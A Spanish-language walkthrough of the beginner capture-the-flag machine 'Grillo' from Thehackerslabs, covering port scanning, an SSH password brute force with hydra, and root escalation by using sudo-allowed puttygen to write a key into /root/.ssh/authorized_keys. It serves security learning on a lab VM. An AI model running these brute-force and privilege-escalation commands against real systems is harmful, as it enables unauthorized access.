Grillo es una de las maquinas existentes actualmente en la plataforma de hacking Thehackerslabs y es de dificultad Principiante.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la maquina a vulnerar, que en mi caso será la 192.168.0.14
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.14 Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-21 11:55 CEST Initiating ARP Ping Scan at 11:55 Scanning 192.168.0.14 [1 port] Completed ARP Ping Scan at 11:55, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 11:55 Scanning 192.168.0.14 [65535 ports] Discovered open port 22/tcp on 192.168.0.14 Discovered open port 80/tcp on 192.168.0.14 Completed SYN Stealth Scan at 11:55, 2.90s elapsed (65535 total ports) Nmap scan report for 192.168.0.14 Host is up, received arp-response (0.00020s latency). Scanned at 2024-04-21 11:55:53 CEST for 3s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:5D:0F:F9 (Oracle VirtualBox virtual NIC) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 3.08 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parametro -sCV para que le pase los scripts por defecto y conseguir mas informacion de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
└─$ sudo nmap -sCV -p22,80 192.168.0.14 Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-21 11:56 CEST Nmap scan report for bicho.lan (192.168.0.14) Host is up (0.00064s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA) |_ 256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.57 (Debian) MAC Address: 08:00:27:5D:0F:F9 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.19 seconds |
Una vez vistos los puertos, que aplicaciones corren y sus versiones, lo primero que vamos a ver será el apache.
Y no encontramos nada aparentemente, pero si vamos a su codigo, vemos que las hay lineas que bajando y bajando llegan hasta una pista.
Anotamos este usuario y aplicamos fuerza bruta con hydra ya que no vemos nada mas aparentemente.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
└─$ hydra -l melanie -P top12000.txt 192.168.0.14 ssh -VI -f Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-21 16:53:44 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 12646 login tries (l:1/p:12646), ~791 tries per task [DATA] attacking ssh://192.168.0.14:22/ [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "abraham" - 1 of 12646 [child 0] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "123456" - 2 of 12646 [child 1] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "password" - 3 of 12646 [child 2] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "123456789" - 4 of 12646 [child 3] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "12345678" - 5 of 12646 [child 4] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "12345" - 6 of 12646 [child 5] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "qwerty" - 7 of 12646 [child 6] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "123123" - 8 of 12646 [child 7] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "111111" - 9 of 12646 [child 8] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "abc123" - 10 of 12646 [child 9] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "1234567" - 11 of 12646 [child 10] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "dragon" - 12 of 12646 [child 11] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "1q2w3e4r" - 13 of 12646 [child 12] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "sunshine" - 14 of 12646 [child 13] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "654321" - 15 of 12646 [child 14] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "master" - 16 of 12646 [child 15] (0/0) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "1234" - 17 of 12648 [child 2] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "football" - 18 of 12648 [child 3] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "1234567890" - 19 of 12648 [child 7] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "000000" - 20 of 12648 [child 4] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "computer" - 21 of 12648 [child 8] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "666666" - 22 of 12648 [child 5] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "superman" - 23 of 12648 [child 0] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "michael" - 24 of 12648 [child 6] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "internet" - 25 of 12648 [child 14] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "iloveyou" - 26 of 12648 [child 13] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "daniel" - 27 of 12648 [child 1] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "1qaz2wsx" - 28 of 12648 [child 12] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "monkey" - 29 of 12648 [child 10] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "shadow" - 30 of 12648 [child 15] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "jessica" - 31 of 12648 [child 2] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "letmein" - 32 of 12648 [child 3] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "baseball" - 33 of 12648 [child 7] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "whatever" - 34 of 12648 [child 4] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "princess" - 35 of 12648 [child 8] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "abcd1234" - 36 of 12648 [child 5] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "123321" - 37 of 12648 [child 0] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "starwars" - 38 of 12648 [child 6] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "121212" - 39 of 12648 [child 14] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "thomas" - 40 of 12648 [child 13] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "zxcvbnm" - 41 of 12648 [child 1] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "trustno1" - 42 of 12648 [child 12] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "killer" - 43 of 12648 [child 10] (0/2) [ATTEMPT] target 192.168.0.14 - login "melanie" - pass "welcome" - 44 of 12648 [child 15] (0/2) [22][ssh] host: 192.168.0.14 login: melanie password: trustno1 [STATUS] attack finished for 192.168.0.14 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-21 16:53:54 |
Y encontramos una contraseña para lo que imaginamos que sera el login por ssh, asi que probamos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
┌──(kali㉿kali)-[~] └─$ ssh melanie@192.168.0.14 melanie@192.168.0.14's password: Linux grillo 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Apr 12 20:38:54 2024 from 192.168.0.100 melanie@grillo:~$ |
Una vez dentro podremos ver la flag de user:
|
1 2 3 |
melanie@grillo:~$ ls -l total 4 -rwxrwxrwx 1 root root 33 abr 12 20:28 user.txt |
Lo primero que veremos es si tiene permisos para ejecutar como sudo algun binario
|
1 2 3 4 5 6 |
melanie@grillo:~$ sudo -l Matching Defaults entries for melanie on grillo: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User melanie may run the following commands on grillo: (root) NOPASSWD: /usr/bin/puttygen |
Siendo que tiene permisos de puttygen, lo que haremos sera generar una clave ssh para este usuario y se la exportaremos a root.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
melanie@grillo:~$ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/melanie/.ssh/id_rsa): Created directory '/home/melanie/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/melanie/.ssh/id_rsa Your public key has been saved in /home/melanie/.ssh/id_rsa.pub The key fingerprint is: SHA256:o0XGq/iucE9Mw6hLNpGYTddMHM27fLnoC/UVfbzrTx8 melanie@grillo The key's randomart image is: +---[RSA 3072]----+ | .o+ | | +..o . . | | . . o +. . . o| | = o o o.. . ..| |o + . +.S. .. . | | o + *ooo. .| | * o * o.. E.| | o = + .. . ..o| | . .o+.o. .+| +----[SHA256]-----+ |
Ahora usamos puttygen para exportarla a authorized_keys
|
1 |
melanie@grillo:~/.ssh$ sudo /usr/bin/puttygen id_rsa.pub -O public-openssh -o /root/.ssh/authorized_keys |
Finalmente nos intentaremos logear como root en la maquina
|
1 2 3 4 5 6 7 8 9 10 11 |
melanie@grillo:~/.ssh$ ssh root@127.0.0.1 Linux grillo 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Apr 21 12:17:57 2024 from 127.0.0.1 root@grillo:~# |
Somos root!, ahora podremos ver que ya tenemos la flag de root.txt tambien
|
1 2 3 |
root@grillo:~$ ls -l total 4 -rw-r--r-- 1 root root 33 abr 12 20:31 root.txt |
Hasta aquí la maquina Grillo de la plataforma Thehackerslabs
